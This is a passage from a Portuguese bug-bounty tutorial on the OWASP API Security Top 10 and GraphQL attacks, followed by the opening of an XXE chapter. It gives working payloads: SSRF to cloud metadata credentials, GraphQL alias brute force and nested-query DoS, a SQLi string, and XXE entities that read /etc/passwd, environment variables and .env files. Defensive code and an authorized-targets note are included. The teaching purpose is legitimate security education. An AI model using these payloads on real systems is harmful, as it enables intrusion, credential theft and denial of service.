Variações que valem ouro: `"price": 0` num carrinho, `"verified": true` num cadastro, `"discount": 99` num pedido, `"userId": <de_outro>` numa criação de recurso.

3b) Excessive Data Exposure — ler campo que não era pra você

Aqui o atacante não faz nada de especial: a API simplesmente **devolve mais do que a tela usa**. O front pega o JSON, mostra três campos e descarta o resto — mas o resto **veio na resposta** e está no seu Burp.

```
GET /api/v1/users/1001 HTTP/2
Host: alvo.com
```

```
HTTP/2 200 OK
Content-Type: application/json

{
  "id": 1001,
  "name": "Cliente A",
```

```
  "email": "a@exemplo.com",     # a tela mostra
  "passwordHash": "$2y$10$...", # <- a tela NÃO mostra, mas veio!
  "cpf": "000.000.000-00",      # <- PII vazando
  "internalRiskScore": 870,     # <- dado interno
  "isAdmin": false
}
```

> **Regra de ouro do API3:** o atacante não usa o navegador, usa o **JSON cru**. "Esconder no front" não esconde nada. Sempre compare *o que a tela mostra* × *o que a resposta traz*.
>
> **PII** (Personally Identifiable Information): dado pessoal que identifica alguém — CPF, e-mail, telefone, endereço. Vazar PII costuma elevar a severidade do report. Glossário.

A causa, segundo a OWASP, é o dev usar **serialização genérica** ("manda o objeto inteiro") em vez de escolher campo a campo ("cherry-pick"). Combine `excessive data exposure` com um BOLA e você tem vazamento de PII em massa.

API4 — Unrestricted Resource Consumption

A API não limita o quanto você pode consumir: sem **rate limit**, sem **paginação**, sem teto de tamanho de upload, sem limite em operações em lote. Resultado: **DoS** e, pior, **custo** — porque cada chamada pode disparar SMS, e-mail ou uma API paga de terceiro.

> **DoS** (Denial of Service / negação de serviço): sobrecarregar ou travar o sistema a ponto de ele parar de atender usuários legítimos. Glossário.
>
> **Rate limit**: teto de quantas requisições uma origem (IP/usuário/token) pode fazer num intervalo. Sem ele, um loop seu vira uma enxurrada. Glossário.

Exemplo direto da OWASP: um endpoint de reset que manda SMS a cada chamada, a US$ 0,05 a mensagem — automatize e a conta do alvo explode em minutos. Outro padrão clássico, de baixo impacto mas ainda pagável, é login sem rate limit:

```
POST /api/v1/login HTTP/2
Host: alvo.com
Content-Type: application/json

{"usuario":"vitima","senha":"errada"}   # <- repita no Intruder: brute force OU bloqueio em massa
```

Falta de rate limit também habilita **DoS por bloqueio**: se 3 tentativas erradas bloqueiam a conta e não há rate limit, dá pra **bloquear contas em massa** de usuários válidos. Esse e os ataques de exaustão (recursos, paginação infinita, ReDoS) estão detalhados em **capítulo de Denial of Service**.

> Rate limit costuma ser tratado como "baixo impacto", mas **é reportável** quando não está fora de escopo — principalmente se viabiliza brute force, bloqueio em massa ou custo. Argumente o impacto e linke precedentes pagos.

API5 — Broken Function Level Authorization (BFLA)

Enquanto BOLA é sobre **objeto**, BFLA é sobre **função**. A função privilegiada existe, o endpoint responde — só faltou checar se o **seu perfil** podia chamá-la.

```
POST /api/admin/store/block HTTP/2
Host: alvo.com
Authorization: Bearer <token_usuario_comum>   # <- perfil SEM permissão de admin
Content-Type: application/json

{"storeId": 77}
```

Resposta `200` / ação executada = BFLA. O padrão mais lucrativo que existe no mundo real é o **BFLA em massa via troca de JWT**: pegar uma credencial de **admin**, anotar **todas** as funções/endpoints que só o admin enxerga e, em cada uma, **trocar o token** pelo de um perfil sem permissão (basta seu perfil conseguir gerar/gerenciar outros perfis — não precisa achar o token no JS). Quando não há validação de autorização por função no servidor, um único alvo pode render **dezenas** de reports de uma vez.

> **Severidade (BFLA executando ação privilegiada):** uma ação de admin disparada por perfil comum (alterar/bloquear recurso de outro — impacto de **integridade**, sem leitura sensível) costuma sair em **CVSS v3.1 6.5 (Médio)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` — e **CVSS v4.0 7.1 (Alto)** — `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`. Se a função der ATO ou apagar/expor dado de terceiros, sobe.

Metodologia completa de BFLA (mapear ações de admin, matriz de autorização, Autorize/AuthMatrix) também no capítulo **capítulo de IDOR/BOLA/BFLA**.

API6 — Unrestricted Access to Sensitive Business Flows

Aqui não tem "bug técnico". O endpoint funciona como projetado — o problema é deixar **automatizar um fluxo de negócio sensível** sem fricção. A OWASP define como abusar de uso **legítimo, porém excessivo**.

Exemplos do mundo real: - **Scalping:** bot compra todo o estoque de um produto limitado por vários IPs e revende caro. - **Companhia aérea:** reservar 90% dos assentos, cancelar perto da data pra forçar queda de preço, comprar barato. - **Programa de indicação:** automatizar cadastros pra acumular créditos de referral.

A diferença pro **API4** é importante: API4 é "muitas requisições" (frequência); **API6 é "muita ação de negócio"** mesmo que cada requisição seja lenta e humana-parecida. A defesa não é só rate limit — é fingerprint de dispositivo, CAPTCHA, detecção de padrão não-humano. Isso é **lógica de negócio**, tema do capítulo **capítulo de Business Logic**.

API7 — Server-Side Request Forgery (SSRF)

Quando a API aceita uma **URL** sua e vai buscá-la no servidor (webhook, "importar de URL", gerar thumbnail de imagem remota, enriquecer dado). Você aponta pra dentro:

```
POST /api/v1/import HTTP/2
Host: alvo.com
Content-Type: application/json

{"sourceUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# <- metadata da cloud: pode vazar credenciais da infra
```

SSRF é um capítulo inteiro — bypasses de filtro, metadata da AWS/GCP, SSRF cego com Collaborator: **capítulo de SSRF**.

API8 — Security Misconfiguration

Configuração frouxa: **CORS** permissivo (`Access-Control-Allow-Origin` refletindo qualquer origem com credenciais), modo **debug/stacktrace** ligado, headers de segurança faltando, métodos HTTP a mais habilitados, defaults nunca trocados, painéis e actuators expostos.

> **CORS** (Cross-Origin Resource Sharing): conjunto de headers que diz **quais sites de origem** podem ler a resposta da sua API via JavaScript. Mal configurado (`Allow-Origin` refletido + `Allow-Credentials: true`), deixa um site malicioso ler dados autenticados da vítima. Glossário.

Exemplo de CORS perigoso — o servidor ecoa a origem do atacante:

```
GET /api/v1/me HTTP/2
Host: alvo.com
Origin: https://malicioso.exemplo.com
```

```
HTTP/2 200 OK
Access-Control-Allow-Origin: https://malicioso.exemplo.com  # <- reflete QUALQUER
origem
Access-Control-Allow-Credentials: true                      # <- com cookies/
credenciais
```

Misconfiguration cobre um universo (Spring Boot Actuator/ `heapdump` exposto, `.git` , defaults de CMS, CVEs de versão desatualizada). Tudo isso no capítulo **capítulo de Security Misconfiguration**.

API9 — Improper Inventory Management

A empresa **perdeu a conta** das próprias APIs. Sobrou uma `/v1` antiga rodando ao lado da `/v2` nova — só que a `/v1` não recebeu os patches nem o rate limit. Ou existe uma **shadow API** (host de beta/staging) com a mesma funcionalidade e **sem as proteções** da produção.

> **Shadow API**: endpoint/host que existe e funciona, mas não está no inventário oficial nem na documentação — staging, beta, versão legada. Some da vista de quem defende, não da de quem ataca. Glossário.

O exemplo da OWASP é exatamente esse: um host de **beta** com a mesma função da produção, mas **sem rate limit**, permitindo brute force de token de reset que na produção era bloqueado.

Como caçar: - **Dorks** pra documentação e versões antigas:

```
site:alvo.com inurl:api | inurl:v1 | inurl:v2 | inurl:v3
inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:alvo.com
```

- **Troque a versão** num endpoint conhecido: se `/api/v2/users` é bem protegido, teste `/api/v1/users` e `/api/v3/users`.
- **Documentação exposta** (swagger/OpenAPI) muitas vezes lista endpoints que o app nem usa mais — ouro pra enumerar.

> **Swagger / OpenAPI**: especificação que descreve toda a API (rotas, parâmetros, modelos) em JSON/YAML. Ótimo pra dev — e mapa do tesouro pro atacante quando fica público. Glossário.

Recon de subdomínios e hosts esquecidos: **capítulo de Recon & Discovery** e **capítulo de Subdomain Takeover**.

API10 — Unsafe Consumption of APIs

A virada de chave: até agora você era o atacante **da** API. Aqui a API alvo é a **vítima** porque ela **confia cegamente** no dado que recebe de **outra** API (terceiro/parceiro). Devs tendem a tratar dado de API parceira como "seguro", aplicando menos validação do que aplicariam a input do usuário.

Exemplo da OWASP: a API alvo enriquece endereços via um serviço de terceiro. O atacante **planta um payload de SQL Injection** nesse serviço de terceiro; quando o alvo busca o dado enriquecido e o salva no próprio banco **sem validar**, o SQLi executa em casa. Mesma lógica vale pra seguir redirects de terceiros (vira SSRF) ou confiar em status/preços vindos de fora.

A defesa é simples de enunciar: **dado de terceiro é input não confiável igual a input de usuário** — valide, sanitize, não siga redirect cego, use TLS. Injection em si está em **capítulo de SQL Injection** e **capítulo de RCE & Command Injection**.

Seção dedicada: GraphQL

GraphQL é um "balcão único": em vez de vários endpoints REST, existe **um endpoint** (geralmente `/graphql`) e o cliente descreve exatamente o que quer. Isso é poderoso — e abre armadilhas que REST não tem. Tudo aqui está conforme a **OWASP GraphQL Cheat Sheet** e o **PortSwigger — GraphQL**.

Achar o endpoint

> **CSRF** (Cross-Site Request Forgery): força o navegador da vítima a enviar uma requisição autenticada sem ela saber. XSS pode encadear com CSRF.

Caminhos comuns: `/graphql`, `/api`, `/api/graphql`, `/graphql/api`, `/graphql/graphql`. O **probe universal** — qualquer endpoint GraphQL responde a isto:

```
{"query": "{__typename}"}
```

Se voltar algo como `{"data": {"__typename": "Query"}}` (o nome do root type pode variar — ex.: `RootQuery`), achou um GraphQL. Vale testar métodos diferentes: `POST application/json`, `GET` e `POST x-www-form-urlencoded` — alguns aceitam alternativas (e isso também abre CSRF).

> **Introspection**: recurso do GraphQL que permite **perguntar ao próprio servidor** qual é o schema completo (tipos, queries, mutations, campos). Ótimo em dev, perigoso em produção. Glossário.

Introspection — baixar o schema inteiro

Primeiro, um probe curto pra ver se introspection está ligada:

```
{"query": "{__schema{queryType{name}}}"}
```

Se responder, dá pra rodar a **full introspection query** e mapear todos os tipos, queries e mutations:

```
query IntrospectionQuery {
  __schema {
```

```
    queryType { name }
    mutationType { name }
    types {
      name
      kind
      fields { name }
    }
  }
}
```

Com o schema na mão, você lê o "mapa" inteiro da API: que mutations existem (`createUser` , `resetPassword`), que campos um `User` tem (`role` , `isAdmin`), etc. Ferramenta: **GraphQL Voyager** desenha o schema; o **InQL** (extensão do Burp) gera as queries automaticamente.

Field suggestions — vazamento mesmo com introspection desligada

Se introspection está bloqueada, ainda dá pra reconstruir o schema. O Apollo (servidor comum) tem **field suggestions**: ao errar um nome de campo, ele "ajuda" com mensagens tipo "*Did you mean `email` instead?*". A ferramenta **Clairvoyance** automatiza isso e remonta o schema a partir das sugestões.

> Quando introspection parece bloqueada, tente inserir caracteres especiais (espaço, newline, vírgula) logo depois de `__schema` — regex de filtro mal-feito não pega. E tente trocar o método HTTP (de POST pra GET).

Aliases e batching — brute force em uma só request

Esse é o pulo do gato exclusivo de GraphQL. Um **alias** deixa você chamar o **mesmo** campo várias vezes na mesma requisição, com nomes diferentes. Resultado: você faz 100 tentativas dentro de **1 requisição HTTP** — e o rate limit que conta "requisições HTTP" **não percebe**. Exemplo (validar códigos de desconto, do PortSwigger):

```
query isValidDiscount($code: Int) {
  isValidDiscount(code: $code) { valid }
  isValidDiscount2: isValidDiscount(code: $code) { valid }
  isValidDiscount3: isValidDiscount(code: $code) { valid }
}
```

Batching é a mesma ideia por outra via: mandar um **array** de queries num único POST. Os dois servem pra burlar rate limit e fazer brute force de OTP/cupom/credencial. A própria OWASP avisa: *rate limit de rede não enxerga esses ataques* — a defesa precisa ser **por objeto/operação**, no código.

Injection no GraphQL

> **NoSQLi** (NoSQL Injection): injeção em bancos não-SQL (ex.: MongoDB) via operadores como {$ne: null}. Mesmos riscos do SQLi, sintaxe diferente.

GraphQL **não é imune a injection**. Os argumentos das queries/mutations chegam ao banco igual a qualquer input. Se o resolver concatena na query, é SQLi/NoSQLi normal:

> **Resolver**: a função no back-end que "resolve" cada campo da query GraphQL — é ela que vai ao banco buscar o dado. Se concatena seu input na consulta, abre injection. Glossário.

```
query {
  user(filter: "1' OR '1'='1") { id name email }
}
```

Defesa: queries parametrizadas e ORM correto (igual REST). Veja **capítulo de SQL Injection**.

Deep / nested query — DoS por aninhamento

Schemas com relações circulares (um `Post` tem `Author`, que tem `Posts`, que têm `Author`...) permitem queries **profundamente aninhadas** que explodem o custo de processamento:

```
query {
  posts {
    author {
      posts {
        author {
          posts { title }   # <- aninhe N níveis: 1 request derruba o servidor
        }
      }
    }
  }
}
```

A OWASP recomenda **depth limiting** (limitar profundidade — `graphql-depth-limit`), **amount limiting** (limitar quantos objetos uma query pede) e **query cost analysis** (dar um "preço" a cada campo e recusar queries caras — `graphql-cost-analysis`). É um vetor de DoS, ligado ao capítulo **capítulo de Denial of Service**.

Armadilha GraphQL	Vira	Defesa principal
Introspection ligada em prod	Schema vazado	Desligar introspection/GraphiQL em prod

Armadilha GraphQL	Vira	Defesa principal
Field suggestions	Schema remontado (Clairvoyance)	Desligar sugestões
Aliases / batching	Brute force burlando rate limit	Rate limit por objeto + limitar batching
Deep nested query	DoS	Depth + amount + cost analysis
Argumento sem sanitização	SQLi/NoSQLi/etc.	Query parametrizada / ORM

> **GraphQL "bombs" (aliasing + upload).** Outra amplificação de DoS: combine a feature de **upload de arquivo** com **aliasing** pra referenciar o **mesmo** arquivo dezenas/centenas de vezes numa única query — um request de < 2 MB força o servidor a processar ~1 GB em memória. O mesmo abuso de aliasing serve pra **brute-force de login num único request** (cada alias = uma tentativa), furando rate-limit que conta por request. (Técnica documentada pela HAKAI Security.) Defesa: limitar nº de aliases/batching além de profundidade e custo (query cost analysis).

Como testar uma API do zero (metodologia)

Não dá pra atacar o que você não mapeou. O fluxo, alinhado à **metodologia da PortSwigger**:

1. Achar os endpoints. - **Documentação:** teste caminhos comuns — `/api`, `/api/docs`, `/swagger/index.html`, `/swagger.json`, `/openapi.json`, `/api-docs`. Se achar uma spec OpenAPI/Swagger, você ganhou o mapa inteiro. - **Arquivos JS:** o front é um SPA — os paths e parâmetros estão nos `.js`. Extraia com a extensão **JS Link Finder** (Burp) ou com `katana` / `gau` (apresentados no capítulo de Recon & Discovery). - **App mobile:** o `.apk` é um zip. Descompacte e procure URLs, tokens e endpoints — muitas vezes a API do app é **menos protegida** que a web e expõe rotas que o site nem usa.

```
# Mobile: extrair strings de URL/endpoint de um APK (alvo autorizado)
unzip -o app.apk -d app_out >/dev/null
grep -rEoh 'https?://[a-zA-Z0-9./_-]+' app_out/ | sort -u | grep -i 'api\|v1\|graphql'
# (jadx -d app_out app.apk descompila pra um código mais legível)
```

2. Interagir e enumerar. Jogue o tráfego no **Burp** ou **Postman**. Pra cada endpoint: - Teste **todos os métodos**: `GET`, `POST`, `PUT`, `PATCH`, `DELETE`, `OPTIONS` (um pode ser checado e o outro não). - Teste **content-types** diferentes. - Procure **parâmetros ocultos** com o **Param Miner** (testa até 65.536 nomes por request) ou Intruder com wordlist.

3. Atacar com o Top 10 como checklist. Pra cada endpoint, passe a lista: dá pra trocar ID (BOLA)? Mandar campo extra (mass assignment)? A resposta traz campo a mais (excessive data)? Tem rate limit? A função aceita meu perfil (BFLA)?

> **Deeplink**: link que abre direto uma tela específica do app (`app://pagamento?valor=...`). No mobile, deeplinks expostos às vezes pulam telas de autorização — vale testar como uma "rota escondida" do app. Glossário.

Defesa em camadas

Nenhuma das dez classes se resolve com uma única linha — a defesa de API é **em camadas**, e cada camada cobre uma fatia do Top 10. O resumo que vale colar na revisão de qualquer endpoint:

Camada	O que faz	Cobre
Autenticação forte	Validar token sempre: assinatura, `alg` fixo no servidor, `exp`, e revogação	API2
Autorização por objeto e por função	Checar **dono** (BOLA) e **perfil** (BFLA) em **toda** rota — nunca confiar no ID/role do cliente	API1, API3, API5
Allowlist de campos (input)	Aceitar só os campos que aquele endpoint deve receber — bloqueia mass assignment	API3
Allowlist de campos (output / DTO)	Serializar campo a campo, nunca o objeto inteiro — bloqueia excessive data exposure	API3
Rate limit + cotas	Teto por usuário/token/IP; limites em batch, paginação e uploads	API4, API6
Validação de input	Tratar **todo** input — inclusive de API parceira (API10) e URL de webhook (API7) — como não confiável	API7, API10
Config endurecida	CORS restrito, debug off, headers de segurança, inventário e versões controlados	API8, API9

O ponto mais importante e mais errado: **autorização nunca pode confiar em nada que veio do cliente**. O dono do objeto e o perfil do usuário saem da **sessão do servidor**, jamais do `id` / `role` que o cliente mandou.

```
// Node/Express — o trio que mata BOLA + Mass Assignment + Excessive Data Exposure de
uma vez
app.patch('/api/v1/users/me', auth, async (req, res) => {
  // 1) Dono vem da SESSÃO (req.user.id), nunca de um id do corpo  -> mata BOLA
  const userId = req.user.id;

  // 2) Allowlist de ENTRADA: só estes campos são aceitos        -> mata Mass
Assignment
  const { nome, telefone } = req.body;          // 'role' e 'isAdmin' são ignorados de
propósito
  await User.update({ nome, telefone }, { where: { id: userId } });

  // 3) Allowlist de SAÍDA: monte o DTO campo a campo            -> mata Excessive Data
Exposure
  const u = await User.findByPk(userId);
```

```
  return res.json({ id: u.id, nome: u.nome, telefone: u.telefone, email: u.email });
  // NUNCA: return res.json(u)  -> vazaria passwordHash, cpf, internalRiskScore...
});
```

```
// PHP/Laravel — allowlist de entrada com $fillable + DTO de saída via API Resource
class User extends Model {
    // Só estes campos podem ser preenchidos em massa -> mata Mass Assignment
    protected $fillable = ['nome', 'telefone'];
    // E esconda explicitamente o que nunca deve sair na serialização
    protected $hidden = ['password', 'cpf', 'internal_risk_score', 'is_admin'];
}

// No controller: autorização por objeto antes de tudo -> mata BOLA/BFLA
public function update(Request $request, Charge $charge) {
    $this->authorize('update', $charge);   // Policy checa o DONO/perfil na sessão
    $charge->update($request->only(['nome', 'telefone']));
    return new ChargeResource($charge);    // Resource expõe só os campos permitidos
}
```

> **O que NÃO basta:** esconder o campo/botão no front, usar UUID "imprevisível" como única defesa, ou validar só no `GET`. Nada disso checa **dono** nem **perfil** — e é exatamente isso que o atacante explora. Verificação de autorização por objeto e por função, no servidor, em toda rota, é inegociável.

Defesas específicas de cada classe estão nos posts dedicados (links ao longo do texto). No GraphQL, some a isto a tabela de defesas da seção própria (introspection off em prod, rate limit por objeto, depth/amount/cost limiting).

Ferramentas + labs legais

- **Burp Suite** — Repeater (trocar campos), Intruder (enumerar/escala), extensões **InQL** (GraphQL), **JS Link Finder**, **Param Miner**, **Autorize**/**AuthMatrix** (testar autorização entre contas).
- **Postman / Insomnia** — montar e versionar coleções de requisições de API.
- **Clairvoyance** — remontar schema GraphQL via suggestions; **GraphQL Voyager** — visualizar schema.
- **jadx / apktool** — descompilar APK pra achar endpoints mobile.
- **ffuf / katana / gau** — descoberta de conteúdo e endpoints (vide capítulo de Recon & Discovery).
- **Labs autorizados:** PortSwigger Web Security Academy — API testing e GraphQL (gratuitos e excelentes), crAPI (lab oficial OWASP focado em API), DVGA (GraphQL vulnerável), TryHackMe e HackTheBox.

Checklist do caçador

- [ ] Mapeei a documentação (`/api/docs` , `/swagger/index.html` , `/swagger.json` , `/openapi.json` , `/api-docs`) e os arquivos JS / o APK.

- [ ] **BOLA:** troquei identificadores (`id` , `cpf` , `idProduto`) em GET/POST/PUT/DELETE, com 2 contas.
- [ ] **Mass Assignment:** mandei campos extras (`role` , `isAdmin` , `price` , `verified`) achados na resposta do GET.
- [ ] **Excessive Data Exposure:** comparei *tela* × *JSON cru* — campo sensível a mais na resposta?
- [ ] **BFLA:** anotei ações de admin e refiz cada uma com token de perfil comum.
- [ ] **API4/DoS:** testei rate limit em login, reset e endpoints que disparam SMS/e-mail.
- [ ] **API9:** troquei `/v2` por `/v1` / `/v3` , cacei swagger e hosts de staging/beta.
- [ ] **GraphQL:** rodei `{__typename}` , tentei introspection, testei suggestions, aliases/batching, nested query.
- [ ] Conferi que a classe **está no escopo** do programa.

Pegadinhas / o que NÃO funciona

- **Confiar na tela.** O front esconder um campo ou um botão **não** protege a API. Olhe sempre a resposta crua.
- **Testar só `GET` .** A autorização pode estar só no `GET` e faltar no `PUT` / `DELETE` . Varra todos os métodos.
- **Achar que introspection desligada = GraphQL seguro.** Suggestions + Clairvoyance remontam o schema; aliases burlam rate limit independentemente disso.
- **UUID como "defesa".** ID imprevisível dificulta enumeração, mas **não substitui** checagem de dono (BOLA continua se o ID vazar em outra resposta).
- **Mass assignment "só com campo que existe na tela".** O ponto é justamente mandar o campo que a tela **não** mostra — chute nomes prováveis.

O que você precisa lembrar

- **A API é a superfície de ataque real** — e devolve mais do que a tela mostra. Olhe o **JSON cru**, sempre.
- **Três dos dez são controle de acesso** (BOLA, BFLA, e o "property level" do API3). É onde está a maior parte do dinheiro.
- **API3 = campos.** Ler campo a mais (excessive data) ou escrever campo a mais (mass assignment) — barato de achar, alto impacto.
- **GraphQL tem armadilhas próprias:** introspection, suggestions, aliases/batching (brute force sem disparar rate limit) e nested query (DoS).

> **Dica de ouro:** em toda resposta de API, faça duas perguntas — "*esse JSON tem algum campo que a tela não usa?*" (excessive data exposure) e "*o que acontece se eu mandar de volta um campo a mais?*" (mass assignment). Essas duas perguntas, sozinhas, já renderam muito report. E no GraphQL: se você consegue chamar o mesmo campo 100x numa request via alias, o rate limit do alvo provavelmente é cego.

Nota ética

Tudo aqui é pra **alvos autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais (crAPI, DVGA, PortSwigger Academy). Enumerar IDs, forçar campos ou rodar introspection em sistemas de terceiros sem permissão é crime — e desnecessário, dado o tanto de lab bom pra treinar. Aprenda pra **defender** e reporte com responsabilidade.

Referências

- OWASP API Security Top 10 — 2023
- API3:2023 — Broken Object Property Level Authorization
- API4:2023 — Unrestricted Resource Consumption
- API6:2023 — Unrestricted Access to Sensitive Business Flows
- API9:2023 — Improper Inventory Management
- API10:2023 — Unsafe Consumption of APIs
- OWASP GraphQL Cheat Sheet
- PortSwigger — API testing
- PortSwigger — GraphQL API vulnerabilities
- OWASP crAPI · Damn Vulnerable GraphQL Application (DVGA)

XXE (XML External Entity): abusando do parser de XML

Quando um "produto" no carrinho lê o seu /etc/passwd

Você está testando uma loja em `app.exemplo.com`. Ao consultar o estoque de um item, o Burp registra uma request meio fora de moda — o corpo não é JSON, é **XML**:

```
POST /product/stock HTTP/2
Host: app.exemplo.com
Content-Type: application/xml

<?xml version="1.0"?>
<stockCheck><productId>381</productId></stockCheck>
```

Bate a curiosidade. E se, em vez de mandar `381`, eu mandar o servidor **ler um arquivo do disco dele** e me devolver no lugar do número? Você troca o corpo por isto:

```
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

A resposta volta com `Invalid product ID: root:x:0:0:root:/root:/bin/bash...`. O parser de XML obedeceu, abriu o `/etc/passwd` e colou o conteúdo no lugar de `&xxe;`. Isso é **XXE — XML External Entity injection**, e é uma das falhas mais "elegantes" do bug bounty: você não explora um bug no código da aplicação, você abusa de uma **feature legítima e antiga do próprio formato XML**.

Neste capítulo a gente vai do "o que é XML" até XXE cego com exfiltração via DTD externo, XInclude, ataque por upload de SVG/Office e defesa por linguagem. Tudo com payload verificado.

O que é XML, DTD e entidade (a base que faz o XXE existir)

Antes de atacar, você precisa entender três peças. Sem elas, o payload vira decoreba — e decoreba não te deixa adaptar pro alvo real.

> **XML (eXtensible Markup Language)**: formato de texto pra estruturar dados em tags aninhadas, tipo `<pedido><id>10</id></pedido>`. Era o "JSON dos anos 2000" e ainda vive em SOAP, SAML, RSS, SVG e arquivos Office.
>
> **Parser**: o componente que lê o texto XML e o transforma em dados que o programa entende. O XXE acontece *dentro* do parser — é ele quem decide obedecer (ou não) às entidades.

> **DTD (Document Type Definition)**: a "gramática" opcional do documento XML. Declara quais tags e **entidades** existem. Vai dentro do `<!DOCTYPE ...>`, no topo do XML. É aqui que o atacante injeta a parte maliciosa.
>
> **Entidade**: um "atalho/variável" do XML. Você declara uma entidade e a usa com `&nome;`. Ex.: a entidade interna `<` vira `<`. O parser **substitui** `&nome;` pelo valor antes de entregar o dado.

A peça que vira arma é um tipo específico de entidade:

> **Entidade externa (`SYSTEM`)**: uma entidade cujo valor vem de **fora** — de um arquivo (`file://`) ou de uma URL (`http://`). Declarada como `<!ENTITY xxe SYSTEM "file:///etc/passwd">`, ela diz ao parser: "quando vir `&xxe;`, vá buscar esse arquivo e cole o conteúdo aqui".

Juntando tudo, o payload clássico se lê assim, linha por linha:

```
<?xml version="1.0"?>                              <!-- prólogo XML -->
<!DOCTYPE foo [                                    <!-- abre o DTD interno -->
  <!ENTITY xxe SYSTEM "file:///etc/passwd">        <!-- declara a entidade externa --
>
]>
<stockCheck><productId>&xxe;</productId></stockCheck> <!-- usa a entidade -->
```

> **Analogia:** a entidade é uma macro de planilha tipo `=IMPORTAR("arquivo.txt")`. Quem escreveu o XML legítimo nunca esperou que *você* fosse definir as macros. O parser, por padrão antigo, executa qualquer macro que você declarar — inclusive uma que importa o `/etc/passwd`.

A raiz do XXE é exatamente essa: **parser configurado pra resolver entidades externas + entrada de XML controlada pelo atacante**. Tira qualquer uma das duas e o ataque morre (guarde isso pra seção de defesa).

Impacto e quanto paga

XXE entra no OWASP Top 10 dentro de **A05:2021 – Security Misconfiguration** (na edição de 2017 era a categoria própria A4). O impacto varia muito conforme o que você consegue alcançar:

O que dá pra fazer	Severidade	Faixa de bounty (anonimizada)
Ler arquivo local (`/etc/passwd`, config, código-fonte)	Alto	R$1.500 – R$8.000

O que dá pra fazer	Severidade	Faixa de bounty (anonimizada)
XXE → SSRF (alcançar serviço interno / cloud metadata)	Crítico	R$8.000 – R$30.000+
Roubar credencial em arquivo (`.env` , chave SSH, `web.config`)	Crítico	R$10.000+
Blind XXE (só interação OOB, sem leitura)	Médio	R$500 – R$3.000
DoS por expansão de entidade (Billion Laughs)	Alto (Disponibilidade)	varia muito (às vezes fora de escopo)

Pra dar números aos dois cenários âncora (use como ponto de partida no report — ajuste ao contexto do alvo):

Cenário	CVSS v3.1	CVSS v4.0
Leitura de arquivo local (in-band, ex.: `/etc/passwd`)	**7.5 (Alto)** · `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`	**Alto** · `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
XXE → SSRF (metadata da nuvem / serviço interno, com pivô = scope change)	**9.3 (Crítico)** · `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`	**Crítico** · `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N`

> **Por que o XXE→SSRF salta pra Crítico:** no v3.1 ele muda o **Scope** (`S:C`) — o parser que você ataca consegue afetar **outro** componente de segurança (a rede interna / o metadata service). No v4.0 essa ideia migrou pros **Subsequent System metrics** (`SC/SI/SA`). Os scores numéricos exatos do v4.0 dependem da tabela oficial — confira no calculador FIRST v4.0; os vetores acima estão corretos por construção.
>
> **SSRF (Server-Side Request Forgery)**: fazer o servidor da vítima emitir requisições pra onde *você* quer (rede interna, `169.254.169.254` da nuvem). É o "pulo do gato" que transforma um XXE comum em crítico — detalhe no capítulo SSRF.
>
> **PII (Personally Identifiable Information)**: dado pessoal identificável — nome, CPF, e-mail, endereço. Ler um arquivo com PII ou credenciais é o que justifica severidade alta no report.

O valor mora no **alcance**: ler um arquivo já é bom; ler a credencial AWS via metadata da nuvem é jackpot.

Como funciona por trás (o fluxo do parser)

O servidor recebe seu XML e manda pro parser. Se o parser está com resolução de entidades externas **ligada** (padrão histórico de várias libs), o fluxo é:

1. Parser lê o `<!DOCTYPE>` e processa o DTD interno.
2. Encontra `<!ENTITY xxe SYSTEM "file:///etc/passwd">` → guarda a "macro".
3. Ao montar o documento, encontra `&xxe;` → **vai buscar** `file:///etc/passwd` no disco.
4. Substitui `&xxe;` pelo conteúdo do arquivo.
5. A aplicação processa o documento "expandido" — e, se ela **reflete** esse valor na resposta, o conteúdo do arquivo aparece pra você.

```
HTTP/2 400 Bad Request
Content-Type: application/json

{"error":"Invalid product ID: root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}
```

O ponto crucial: **o parser nem desconfia**. Pra ele, `SYSTEM "file://..."` é uso legítimo do XML. O bug é de **configuração** (parser permissivo), não um erro de lógica que alguém "escreveu errado".

Tipos e variações de XXE

Tipo	Quando usar	Canal de saída
In-band / clássico	A resposta reflete a entidade	Direto na resposta HTTP
XXE → SSRF	Entidade aponta pra URL interna/cloud	Resposta ou OOB
Blind / OOB	A resposta NÃO reflete	Interação externa (DNS/HTTP) que você controla
Error-based	Não reflete, mas vaza em mensagens de erro	Texto da mensagem de erro
XInclude	Você só controla **um campo**, não o XML inteiro	Resposta (em geral)
Via upload	App parseia arquivo que é XML por dentro (SVG, DOCX, XLSX)	Resposta / OOB

Vamos do mais fácil ao mais sofisticado.

Exploração passo a passo (do básico ao avançado)

Nível 1 — XXE clássico in-band (ler arquivo local)

O cenário do hook. A resposta **reflete** o valor que você injetou, então é só substituir um valor de dado por `&xxe;` :

```
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Onde apontar o `file://` (do mais útil pro report): - `file:///etc/passwd` — prova clássica de leitura (Linux). - `file:///etc/hostname`, `file:///proc/self/environ` — host e variáveis de ambiente (às vezes vazam segredos). - Caminhos da app: `.env`, `config.php`, `application.properties`, `web.config` — onde moram **credenciais**. É o que sobe a severidade.

> **Cuidado com arquivos "que quebram o XML".** Se o arquivo contém `<`, `&` ou `]]>`, o parser pode dar erro ao expandir a entidade dentro do documento. `/etc/passwd` é puro texto e funciona liso — por isso vira o "Hello World" do XXE.

Truque PHP — ler código-fonte sem quebrar o parser. Em apps PHP, o wrapper `php://filter` lê o arquivo e te devolve em **Base64**, que é texto seguro pro XML (não tem `<` nem `&`):

